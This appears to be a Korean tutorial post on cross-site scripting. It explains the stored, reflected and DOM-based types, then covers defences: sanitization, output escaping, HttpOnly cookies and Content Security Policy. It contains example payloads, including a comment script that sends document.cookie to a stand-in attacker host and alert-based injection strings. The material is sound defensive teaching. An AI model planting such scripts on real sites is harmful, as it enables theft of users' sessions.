XSS (Cross-Site Scripting)

#security#XSS#web
• • •

개요

정의: 공격자가 웹 사이트에 악성 스크립트를 삽입하여, 다른 사용자가 해당 페이지를 방문할 때 그 스크립트가 피해자의 브라우저에서 실행되도록 하는 공격

작동 방식:

  1. 공격자가 게시판, 댓글, URL 파라미터 등을 통해 악성 스크립트를 삽입
  2. 피해자가 해당 페이지를 방문하면 악성 스크립트가 피해자의 브라우저에서 실행
  3. 스크립트는 쿠키·세션 토큰 탈취, 페이지 변조, 악성 사이트로의 리디렉션 등을 수행

XSS 유형

1. Stored XSS (저장형)

  1. 공격자가 댓글 작성
  2. 서버가 sanitize 없이 DB에 그대로 저장
  3. 피해자가 게시글 페이지 방문
  4. 서버가 DB에서 댓글을 꺼내 HTML에 삽입하여 응답
  5. 피해자 브라우저가 HTML을 파싱하면서 스크립트 태그를 만남
  6. fetch 실행하여 쿠키 전송
<!-- 공격자가 게시판에 작성한 댓글 -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: document.cookie,  // HttpOnly 미설정 시 탈취 가능
    mode: 'no-cors'
  });
</script>

현대 브라우저에서의 동작 한계

  • HttpOnly 플래그가 설정된 쿠키는 document.cookie로 접근 불가 → 탈취 무력화
  • 따라서 인증 쿠키에 HttpOnly를 설정하는 것이 핵심 방어선

2. Reflected XSS (반사형)

악성 스크립트가 URL 파라미터 등을 통해 서버로 전달되고, 서버가 이를 그대로 응답에 포함시켜 즉시 실행

https://example.com/search?q=<script>alert('XSS')</script>
  • 서버가 검색어를 그대로 HTML에 출력하면 스크립트가 실행
  • 주로 피싱 링크 형태로 배포

3. DOM-based XSS

서버를 거치지 않고 클라이언트 JavaScript가 DOM을 직접 조작할 때 발생

// URL: https://example.com/#<img src=x onerror=alert('XSS')>

// 취약한 코드
const input = location.hash.slice(1);
document.getElementById('output').innerHTML = input; // 즉시 실행됨

// 입력을 HTML로 파싱하지 않도록 텍스트로만 처리
document.getElementById('output').textContent = input; // 텍스트로만 처리

예방

1. 입력값 검증 (Sanitization)

사용자 입력을 저장하거나 처리하기 전에 위험한 태그와 속성 제거

const express = require('express');
const sanitizeHtml = require('sanitize-html');
const app = express();

app.use(express.urlencoded({ extended: true }));

app.post('/post', (req, res) => {
  const dirty = req.body.content;
  const clean = sanitizeHtml(dirty, {
    allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img']),
    allowedAttributes: {
      'img': ['src', 'alt']
      // 'onerror' 같은 이벤트 핸들러는 자동으로 차단됨
    }
  });
  // DB에 clean 저장
  res.send('Post received');
});

2. 출력값 인코딩 (Escaping)

데이터를 화면에 출력할 때 HTML 엔티티로 인코딩하여 스크립트가 실행되지 않도록 함

EJS 템플릿 (서버 렌더링)

<%- post.content %>  <!-- 취약(-): HTML 그대로 출력 -->
<%= post.content %>  <!-- 안전(=): HTML 이스케이프 처리 -->

React (현대적 접근)

React는 기본적으로 모든 출력을 이스케이프 처리. 오히려 명시적으로 우회할 때가 위험

// 안전: React가 자동으로 이스케이프
<div>{userInput}</div>

// 취약: 명시적으로 XSS 위험을 감수하겠다는 선언
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// dangerouslySetInnerHTML이 꼭 필요하다면 sanitize 후 사용
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

3. HttpOnly 쿠키 설정

XSS가 발생하더라도 인증 쿠키가 탈취되지 않도록 JavaScript 접근을 차단

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnlydocument.cookie로 접근 불가 → XSS로 인한 쿠키 탈취 방어
  • Secure → HTTPS에서만 전송
  • SameSite=Strict → 타 사이트 요청 시 쿠키 전송 차단

4. Content Security Policy (CSP)

브라우저가 허가된 출처의 스크립트만 실행하도록 제한

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'"
    // 인라인 스크립트 및 외부 출처 스크립트 전면 차단
  );
  next();
});

인라인 스크립트가 꼭 필요한 경우, 전면 허용 대신 nonce 방식을 사용

// Next.js 기준 (middleware.js)
import { NextResponse } from 'next/server'
import crypto from 'crypto'

export function middleware(req) {
  const nonce = crypto.randomBytes(16).toString('base64')
  
  const response = NextResponse.next()
  response.headers.set(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'`
  )
  
  return response
}

// 컴포넌트에서
export default function Page({ nonce }) {
  return (
    <script nonce={nonce} dangerouslySetInnerHTML={{
      __html: `const userId = 123`
    }} />
  )
}

Electron도 렌더러 프로세스의 설정에 따라 Node 환경에 직접 접근할 수 있는 통로가 열릴 수 있기 때문에 CSP에 민감

예방 전략 요약

예방 방법방어 대상적용 위치
입력값 검증 (Sanitization)Stored, Reflected XSS서버
출력값 인코딩 (Escaping)Stored, Reflected XSS서버/클라이언트
textContent 사용DOM-based XSS클라이언트
HttpOnly 쿠키쿠키 탈취 피해 최소화서버
CSP 설정전체 XSS서버 (HTTP 헤더)

단일 방어책에 의존하지 않고, 여러 계층을 함께 적용하는 심층 방어(Defense in Depth) 전략이 핵심

published about 1 year ago · last updated about 2 months ago